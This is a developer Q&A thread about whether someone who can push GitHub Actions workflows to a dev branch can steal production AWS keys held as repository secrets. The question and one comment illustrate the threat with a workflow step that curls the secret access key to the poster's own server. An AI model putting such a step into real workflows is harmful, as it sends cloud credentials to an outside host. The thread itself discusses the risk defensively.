How to protect production credentials from Github Action?

Question

I may be missing something about Github Actions in production, because it seems that if a developer can commit to some branch of the repository they can obtain production keys which are stored as Github secrets.

Let's say I have two branches "dev" and "prod".

After push to prod branch I have Github action deploy.workflow which deploys my updates to AWS. The credentials (AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY) used in the Github action are stored as Github repository Secrets. All good for now.

Let's say we have a developer without access to prod branch. This developer can now make a new github action, push to "dev" branch and expose the secret keys!

The action would look something like this

on:
  push:
    branches: [ dev ]

jobs:
  expose:
  ....
    - name: Expose secrets
      run: curl myserver/key/${{ secrets.AWS_SECRET_ACCESS_KEY }}

Looking at the logs of the action a developer will be able to find production keys!

Is there any way to protect against this?

EDIT: Turns out secrets are filtered out from the logs, but it's still possible to obtain them by sending to your server using curl. (code updated)

No, GitHub does not provide such a feature. But there might be a GitHub integration from AWS. — dan1st
Hi @BenjaminW. thanks for reply. I see, I missed that part, thanks for sharing! But still developer may run action to send the secret to his server like curl myserver/key/${{ secrets.AWS_SECRET_ACCESS_KEY }} — Markon
That's one of the reasons why for a long time, workflows couldn't be triggered on PRs from forks. — Benjamin W.

Edward Romero Edward Romero · Accepted Answer · 2020-09-04T17:29:17

Whoever is part of the github repo is now a collaborator in the team and they are accountable for the changes they make. And this should be properly communicated to developers.

Update

This is a much needed feature in github actions, basically allow scoping of secrets by branches.

Here is recent conversation about this if you want to add your case scenario as well in there to provide them more feedback

https://github.community/t/secrets-scoped-to-branches/18524

How to protect production credentials from Github Action?

1 Answers